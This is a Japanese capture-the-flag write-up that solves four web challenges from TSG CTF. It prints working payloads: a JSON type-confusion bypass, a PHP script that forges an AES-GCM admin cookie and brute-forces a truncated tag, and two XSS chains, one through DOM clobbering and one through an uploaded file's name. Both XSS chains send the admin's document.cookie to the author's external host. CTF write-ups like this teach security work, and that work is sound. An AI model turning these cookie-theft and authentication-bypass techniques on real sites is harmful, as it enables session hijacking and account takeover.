TokyoWesternsで参加していて2位でした。 コンテスト終了3分後にabsurdresのフラグが降ってきたので悔しい〜

以下解いた問題

Upside-down cake

1000文字以下の回文を入力できれば勝ち、だがrequest body sizeの制限がかかっており1000文字送りつけることはできない。

string.length < 1000 などのチェックを以下のJSONで回避する。

{"palindrome":{"length": "a","0":"a","NaN":"a"}}

FLAG: TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}

#DANCE

tagの長さが検証されていない。 以下の記事を見ながらadminのCookieを作る。

https://www.mbsd.jp/research/20200901/aes-gcm/

<?php
$admin = 'admin';
$guest = 'guest';
$xors = [];
for ($i = 0; $i < 5; ++$i) {
  $xors[$i] = ord($admin[$i]) ^ ord($guest[$i]);
}

$iv = 'pMCoutsCcWDg7gRu';
/*
$secret = 'wakaran';
$auth = openssl_encrypt('guest', 'aes-128-gcm', $secret, 0, $iv, $tag);
*/
$auth = 'GEfNr0k=';

$newAuth = base64_decode($auth);
$unpacked = unpack('C*', $newAuth);
for ($i = 0; $i < 5; ++$i) {
  $unpacked[$i+1] = $unpacked[$i+1] ^ $xors[$i];
}
$adminAuth = base64_encode(pack('C*', ...$unpacked));

for ($i = 0; $i < 256; ++$i) {
  $tag = pack('C*', $i);
  /*
  $res = openssl_decrypt($adminAuth, 'aes-128-gcm', $secret, 0, $iv, $tag);
  if ($res) {
    var_dump($i);
    var_dump($res);
    break;
  }
  */
  $tag = base64_encode($tag);
  system("curl http://34.84.176.251:8080/mypage.php -H 'Cookie: auth=$adminAuth; iv=$iv; tag=$tag' --silent");
}

FLAG: TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}

Web問か…?

Brainfxxk Challenge

/minify APIを使うと入力文字の ><+-=r[] 以外の文字が消されて出力される。

HTMLは出力できるがCSPで script-src: 'self' がかかっているので、 /minify APIを使って回避する。

往年のJSFuck問だがDOM Clobberingのおかげで手でもかける。

location='http://mocos.kitchen:12345/' + document.cookie を作ることを目標にシコシコ書いていく。

方針:

  • 'name' を作るため、 <a href='name://'> を文字列にして1文字目から4文字目を結合
  • 必要な各種文字列を <a> のnameに設定し、 r['name'] のようにして読み取る
  • window.location のかわりに [IFRAME Element].location を代入する。
rrrrr[
  r[
  rrrr =
  [r + [rr = [] == []]][rr = +rr][rr] + // n
  [r + []][rrr = rr][++rrr] + // a
  [r + []][rr][rrr + rrr] + // m
  [r + []][rr][rrr + rrr + rrr] //e
  ] // 'location'
] =
  rrrrrr + rrrrr[rrrrrr[rrrr]][rrrrrrr[rrrr]] // document.cookie
<a name=location id=r href='name://'></a>
<a name=document id=rrrrrr href="http://mocos.kitchen:12345/"></a>
<a name=cookie id=rrrrrrr></a>

<iframe name=rrrrr></iframe>

<script src="/minify?code=rrrrr%5b%0d%0a%20%20r%5b%0d%0a%20%20rrrr%20%3d%0d%0a%20%20%5br%20%2b%20%5brr%20%3d%20%5b%5d%20%3d%3d%20%5b%5d%5d%5d%5brr%20%3d%20%2brr%5d%5brr%5d%20%2b%20%2f%2f%20n%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brrr%20%3d%20rr%5d%5b%2b%2brrr%5d%20%2b%20%2f%2f%20a%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%5d%20%2b%20%2f%2f%20m%0d%0a%20%20%5br%20%2b%20%5b%5d%5d%5brr%5d%5brrr%20%2b%20rrr%20%2b%20rrr%5d%20%2f%2fe%0d%0a%20%20%5d%20%2f%2f%20'location'%0d%0a%5d%20%3d%0d%0a%20%20rrrrrr%20%2b%20rrrrr%5brrrrrr%5brrrr%5d%5d%5brrrrrrr%5brrrr%5d%5d%20%2f%2f%20document.cookie"></script>

FLAG: TSGCTF{u_r_j5fuck_m4573r}

absurdres

CSP nonceで制限されているXSS問。 レスポンスに含まれている ![xxx](...)<img srcset="..." alt="xxx"> に変換されるフィルターが存在する。 アップロードしたファイルを閲覧する画面で、script内に ![...](...) を埋め込むことでエラーを出さないようにパズルをしながら関数を実行する。

        <script nonce="{{csp_nonce()}}">
            const files = {{files|json|safe}};

その他、パズルに必要な要素がいっぱい出てくるがざっと列挙してみるとこんな感じ。

  • script内に埋め込めるものとしては画像ファイルのファイル名とその拡張子
  • ファイル名部分に使える文字はアルファベットのみなので、 ![]().png のようなファイル名はエラーとなるが、 / の前と .. の間はなんでもOK XXXX/FILENAME.XXXX.XXXXXXXX の部分にペイロード突っ込めるのでまあまあ自由度はある
  • ガチャガチャやってると最後に /assets/images/FILENAME.x2.png がJavaScriptとして評価されるので邪魔してくる。DOM Clobberingでこれがエラーとならないように対策する。
  • アップロードファイルの拡張子がpngやjpgでないとPILによって怒られるため、拡張子に攻撃ペイロードを埋め込むことはできなさそうに見えるが、PILに怒られる前にDBにはレコードが登録されているので画像の閲覧画面には遷移できる。アップロードしたファイルのIDはコンテンツのmd5なので推測可能。

最終的に以下のファイル名のファイルを作ると動作する。

testx.)bbb![//test.](.png}];""; id=assets ; name=images `;"<form id=test>${location=(atob('Ly9tb2Nvcy5raXRjaGVuOjEyMzQ1Lw')+document['cookie'])}<input id=x2>";

ファイル名に " とか入っているが、 filename*=utf-8''[URL encoded filename] でOK

Content-Disposition: form-data; name="image"; filename*=utf-8''testx.%29bbb!%5b%2f%2ftest.%5d%28.png%7d%5d%3b%22%22%3b%20id%3dassets%20%3b%20name%3dimages%20%60%3b%22%3cform%20id%3dtest%3e%24%7blocation%3d%28atob%28%27Ly9tb2Nvcy5raXRjaGVuOjEyMzQ1Lw%27%29%2bdocument%5b%27cookie%27%5d%29%7d%3cinput%20id%3dx2%3e%22%3b
Content-Type: image/png

FLAG: TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}

navigator.sendBeacon(...) でFLAGをleakさせようとしていたのだけど、なぜか手元のChromeでは動作してAdmin botではうまく行かなかった… 普通に location=... でFLAG飛ばせば動作した。 終了直前に取り組んだため、手元に環境を用意する暇もなく、もっと早く取り組んでおけばと反省した問題。